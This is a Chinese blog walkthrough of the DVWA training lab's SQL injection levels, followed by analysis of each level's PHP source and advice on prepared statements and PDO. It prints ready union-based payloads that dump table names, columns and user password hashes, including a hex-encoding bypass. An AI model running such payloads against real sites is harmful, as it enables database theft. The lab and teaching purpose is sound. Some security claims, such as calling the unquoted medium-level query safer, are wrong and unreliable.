自学内容网 自学内容网

DVWA靶场通关——SQL Injection篇

一,Low难度下union+get+字符串+select注入

1,首先手工注入判断是否存在SQL注入漏洞,输入1

这是正常回显的结果,再键入1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

发生报错,再键入1"

结果并不报错,这说明单引号的存在破坏了原有语句的闭合;双引号就没有破坏,被当成字符串内容执行。那么推断闭合方式为单引号

2,猜测这是一个经典sql查询语句。通过order by判断至少存在几个字段

1' order by 2#

至少存在两个字段,

1' order by 3#

不存在第三个字段,那么就只有两个字段

3,接着使用union操作符判断回显点 1' union select 1,2#

由此可以看到存在两个回显点,接着参考数据库名和版本

1' union select  database(),version()#

4,对查询语句的限制并不多,可以用union语句开始爆库。

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

使用user表,再报user表下字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

5,最后就爆破出用户和密码字段的内容了,并且使它们成对显示

1' union select user,password from users#

由此,成功通关

查看并分析源码内容

该PHP代码段的主要功能是根据用户输入的id从数据库中查询用户的first_name和last_name,并将结果显示给用户。代码支持两种数据库:MySQL和SQLite。

代码结构

  1. 输入处理:通过$_REQUEST['Submit']判断是否提交了表单,并获取用户输入的id。
  2. 数据库选择:根据$_DVWA['SQLI_DB']的值选择使用MySQL还是SQLite。
  3. 查询执行
    • MySQL:使用mysqli_query执行SQL查询,并通过mysqli_fetch_assoc获取结果。
    • SQLite:使用SQLite3对象执行查询,并通过fetchArray获取结果。
  4. 结果显示:将查询结果格式化为HTML并输出。

安全问题

该代码存在严重的SQL注入漏洞,主要问题在于用户输入的id直接拼接到SQL查询语句中,未进行任何过滤或转义处理。攻击者可以通过构造恶意输入来执行任意SQL命令,从而获取或篡改数据库中的数据。

改进建议

  1. 使用预处理语句:对于MySQL,可以使用mysqli_prepare和mysqli_stmt_bind_param来防止SQL注入。对于SQLite,可以使用SQLite3Stmt类。
  2. 输入验证和过滤:对用户输入进行严格的验证和过滤,确保输入的id是合法的整数。
  3. 错误处理:改进错误处理机制,避免在生产环境中暴露详细的错误信息。

查看源码查询语句

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

这段代码是一个使用PHP和MySQL进行数据库查询的示例。它从users表中选择first_name和last_name,条件是user_id等于变量$id的值。

潜在的安全问题

该代码存在SQL注入的潜在风险,因为$id变量直接嵌入到SQL查询字符串中,没有进行任何形式的转义或预处理。如果$id的值来自用户输入,攻击者可以通过构造恶意输入来执行任意SQL命令。

改进建议

为了防止SQL注入,建议使用预处理语句(Prepared Statements)和参数绑定。以下是改进后的代码示例:

$stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], "SELECT first_name, last_name FROM users WHERE user_id = ?");
mysqli_stmt_bind_param(
$stmt, "i", $id);
mysqli_stmt_execute(
$stmt);
$result = mysqli_stmt_get_result($stmt);
if (!$result) {
   
die('<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>');
}

解释

  1. 预处理语句:mysqli_prepare函数创建一个预处理语句,其中?是占位符,用于替换实际的参数。
  2. 参数绑定:mysqli_stmt_bind_param函数将变量$id绑定到预处理语句中的占位符。"i"表示$id是一个整数。
  3. 执行语句:mysqli_stmt_execute函数执行预处理语句。
  4. 获取结果:mysqli_stmt_get_result函数获取查询结果。
  5. 错误处理:如果查询失败,使用mysqli_error函数获取错误信息并终止脚本。

通过这种方式,可以有效防止SQL注入攻击,提高代码的安全性。

二,Medium难度下union+post+整数型+select注入

1,该网页仅允许我们通过下拉表单的格式提交数据

2,可以挂上burpsuite拦截一个包分析一下,

3,那么就可以知到网页使用POST请求方式提交查询语句,并且固定格式为?id=表达数据&Submit=Submit。那么这个POST型注入可以用两种工具解:burp suite和hackbar。为了简单这里使用hackbar

判断闭合方式,输入1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

发生报错,再输入1"还是发生报错。当知道是下拉表达方式提交数据,其实就能判断出是数字型注入了

4,order by操作符判断数据表有几列

id=1 order by 2&Submit=Submit

正常回显,证明至少有2列。id=1 order by 3&Submit=Submit

发生报错,说明数据表只有两列

5,union操作符确定回显位置 id=1 union select 1,2&Submit=Submit

 由此就知道了1,2两个位置都能正常回显数据,再爆出数据库名和数据库版本

id=1 union select database(),version()&Submit=Submit

6,开始爆破数据库中数据表名。

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&Submit=Submit

从users数据表里面爆出所有字段名

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'&Submit=Submit

发生报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'users\'' at line 1

错误信息提示在'\'users\''附近有语法问题,可以尝试将users经十六进制编码为0x7573657273以绕过对表名的过滤

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273&Submit=Submit

再爆出user,password数据并且使其成对显示

id=1 union select user,password from users&Submit=Submit

成功爆出账户和密码信息

查看并分析源码内容

  1. 表单提交处理
    1. 代码首先检查是否提交了表单(通过$_POST['Submit']是否设置来判断)。
    2. 如果表单提交,获取用户输入的id,并使用mysqli_real_escape_string函数对输入进行转义,以防止SQL注入。
  2. 数据库查询
    1. 根据$_DVWA['SQLI_DB']的值(MYSQL或SQLITE),代码分别处理MySQL和SQLite数据库的查询。
    2. 对于MySQL数据库,使用mysqli_query执行查询,并使用mysqli_fetch_assoc获取结果。
    3. 对于SQLite数据库,使用$sqlite_db_connection->query执行查询,并使用fetchArray获取结果。
  3. 结果显示
    1. 查询结果通过循环遍历,将每个用户的first_name和last_name格式化后显示在页面上。
  4. 统计用户数量
    1. 代码最后执行一个查询,统计users表中的用户总数,并将结果存储在$number_of_rows变量中。
  5. 数据库连接关闭
    1. 代码在最后关闭了MySQL数据库连接(mysqli_close)。

改进建议

  1. 使用预处理语句
    • 对于MySQL,建议使用mysqli_prepare和mysqli_stmt_bind_param来执行查询。
    • 对于SQLite,可以使用sqlite3_prepare和sqlite3_bind_param。
  2. 错误处理
    • 在生产环境中,建议捕获异常并记录日志,而不是直接输出错误信息。
  3. 代码结构优化
    • 将数据库连接和查询逻辑封装到函数或类中,提高代码的可维护性和可读性。

medium难度和lowphp源码相比

输入处理方式

在第一段代码中,$id 变量直接从 $_REQUEST 数组中获取,并且没有进行任何转义或过滤处理。这意味着 $id 变量可能包含用户输入的恶意数据,存在SQL注入风险。

$id = $_REQUEST[ 'id' ];

在第二段代码中,$id 变量同样从 $_POST 数组中获取,但在传递给SQL查询之前,使用 mysqli_real_escape_string 函数对其进行了转义处理,从而减少了SQL注入的风险。

$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

SQL查询语句

在第一段代码中,SQL查询语句直接将 $id 变量嵌入到字符串中,这可能导致SQL注入攻击。

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

在第二段代码中,SQL查询语句将 $id 变量作为参数传递,而不是直接嵌入到字符串中,这使得SQL注入攻击更难以成功。

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

数据库连接关闭

两段代码在处理完数据库查询后都关闭了数据库连接,这一点是相同的。

mysqli_close($GLOBALS["___mysqli_ston"]);

总结

  • 安全性:第二段代码通过使用 mysqli_real_escape_string 函数对用户输入进行转义处理,显著提高了代码的安全性,减少了SQL注入的风险。
  • 输入来源:第一段代码从 $_REQUEST 数组中获取输入,而第二段代码从 $_POST 数组中获取输入,后者更明确地限制了输入来源。
  • SQL查询:第二段代码的SQL查询语句更安全,因为它避免了直接将用户输入嵌入到查询字符串中。

三,low难度下

1,观察一下页面,发现是给定一个弹窗让我们change ID

直接输入1的效果如下

burpsuite拦截直接抓个包看看

当我在弹窗里面输入1测试,发现提交请求方式变成了POST

2,判断一下字符串闭合方式,输入1'

发生报错,再输入1"

没有发生报错,那么猜测为闭合方式为单引号(输入1'#就能不报错证明)

3,order by判断存在字段数 1' order by 2#

证明至少有2列存在,再输入 1' order by 3#

那么该数据表就只有两列

4,union操作符判断数据回显位置

回显位置存在两个,爆一下数据库名和数据库版本

1' union select database(),version()#

5,爆出数据表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

再爆数据库名

1' union select 1,group_concat(column_name) from information_schema.columns where column_name='users'#

爆出用户名和密码

1' union select user,password from users #

成功通关

查看并分析源码内容

安全性问题

  1. SQL注入漏洞:代码中直接将用户输入的$id变量插入到SQL查询中,存在SQL注入风险。攻击者可以通过构造恶意输入来执行任意SQL命令。
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    解决方法:使用预处理语句(Prepared Statements)来防止SQL注入。
  2. 错误信息暴露:代码中直接将数据库错误信息输出到前端,可能会暴露敏感信息给攻击者。
    or die( '<pre>Something went wrong.</pre>' );
    解决方法:记录错误信息到日志文件,而不是直接输出到前端。

代码优化建议

  1. 代码格式化:代码中的双括号{{和}}是多余的,可以删除以提高代码可读性。
  2. 错误处理:在SQLite部分,错误处理不够完善,可以改进以提供更详细的错误信息。
  3. 数据库连接管理:在MySQL部分,数据库连接的关闭操作可以更简洁地实现。

四,impossible难度下

<<DVWA靶场——impossible难度SQL注入的源码分析.md>>

代码功能概述

该PHP代码的主要功能是根据用户提供的id参数,从数据库中查询对应的用户信息(包括first_name和last_name),并将查询结果显示给用户。代码支持两种数据库类型:MySQL和SQLite。

安全措施

  1. Anti-CSRF Token: 代码中使用了checkToken函数来验证用户提交的user_token是否与session_token匹配,以防止跨站请求伪造(CSRF)攻击。
  2. 输入验证: 代码通过is_numeric函数检查id是否为数字,并使用intval将其转换为整数,以防止SQL注入攻击。
  3. 参数化查询: 无论是MySQL还是SQLite,代码都使用了参数化查询(Prepared Statements)来执行SQL查询,进一步防止SQL注入攻击。

数据库操作

  1. MySQL:
    • 使用PDO(PHP Data Objects)进行数据库操作。
    • 通过bindParam方法将id参数绑定到SQL查询中。
    • 执行查询后,检查返回的行数是否为1,以确保只返回一条记录。
  2. SQLite:
    • 使用SQLite3扩展进行数据库操作。
    • 通过bindValue方法将id参数绑定到SQL查询中。
    • 由于SQLite3没有直接获取行数的方法,代码通过检查返回的列数来确保查询结果的正确性。

输出结果

  • 如果查询成功,代码将用户的id、first_name和last_name以HTML格式输出到页面上。
  • 如果查询失败或没有找到匹配的记录,代码不会输出任何信息。

数据库PDO技术

根据搜索结果,我们可以了解到,PDO(PHP Data Objects)是PHP中用于数据库操作的一种技术。以下是对数据库PDO技术的详细介绍:

1. 什么是PDO?

PDO是PHP内置的一个数据库抽象层,它提供了一个统一的数据库访问接口,支持多种数据库管理系统(如MySQL、PostgreSQL等)。使用PDO,开发者可以更轻松地连接数据库、执行查询,并处理结果集。

2. 安装和配置PDO

在使用PDO之前,需要确保PHP环境中已启用PDO扩展。通常,PDO是PHP默认安装的一部分,但可以在php.ini 文件中检查以下行是否被注释:

extension=pdo_mysql

3. 建立数据库连接

使用PDO连接数据库非常简单。以下是一个基本的连接示例:

try {
   
$pdo = new PDO('mysql:host=localhost;dbname=testdb', 'username', 'password');
   
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
}
catch (PDOException $e) {
   
echo '连接失败: ' . $e->getMessage();
}

在这个示例中,我们使用mysql:host和dbname来指定数据库的主机和名称,并设置错误模式,以便捕获异常。

4. 使用预处理语句防止SQL注入

为了安全地执行数据库操作,建议使用预处理语句。预处理语句允许我们在执行查询时将参数绑定,从而避免SQL注入攻击。以下是一个INSERT语句的示例:

$stmt = $pdo->prepare('INSERT INTO users (name, email) VALUES (:name, :email)');
$stmt->execute(['name' => $userName, 'email' => $userEmail]);

在这个示例中,:name和:email是参数占位符,实际的值在执行时通过关联数组传入。

5. 更新和删除数据

更新和删除数据同样可以使用预处理语句。例如:

// 更新用户信息
$stmt = $pdo->prepare('UPDATE users SET email=:email WHERE name=:name');
$stmt->execute(['email' => $newEmail, 'name' => $userName]);
 

// 删除用户
$stmt = $pdo->prepare('DELETE FROM users WHERE name=:name');
$stmt->execute(['name' => $userName]);

6. 事务处理

在涉及多个数据库操作时,使用事务可以确保数据一致性。如果其中一条操作失败,可以回滚所有操作。以下是事务处理的示例:

try {
   
// 开始事务
    $pdo->beginTransaction();
 
   
// 执行多个操作
    $stmt1 = $pdo->prepare('INSERT INTO users (name, email) VALUES (:name, :email)');
   
$stmt1->execute(['name' => 'Alice', 'email' => 'alice@example.com']);
 
   
$stmt2 = $pdo->prepare('INSERT INTO orders (user_id, product) VALUES (:user_id, :product)');
   
$stmt2->execute(['user_id' => $pdo->lastInsertId(), 'product' => 'Product A']);
 
   
// 提交事务
    $pdo->commit();
}
catch (Exception $e) {
   
// 回滚事务
    $pdo->rollBack();
   
echo '操作失败: ' . $e->getMessage();
}

在这个示例中,我们开始一个事务并执行多个操作。如果任何一条操作失败,我们将回滚事务,确保数据的一致性。

7. 错误处理

PDO提供了强大的错误处理机制。可以通过设置错误模式来捕获异常,确保我们能及时处理错误:

$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
 

try {
   
// 数据库操作
} catch (PDOException $e) {
   
echo '数据库错误: ' . $e->getMessage();
}

8. 最佳实践

  • 使用参数化查询:总是使用预处理语句来执行查询,以避免SQL注入。
  • 确保正确配置数据库连接和错误处理。
  • 使用事务处理来确保数据一致性。

通过以上介绍,我们可以看到PDO技术在PHP数据库操作中的重要性和实用性。它不仅简化了数据库操作,还提供了安全的机制来防止SQL注入和其他潜在的安全问题。


原文地址:https://blog.csdn.net/zhongyuekang820/article/details/143776061

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!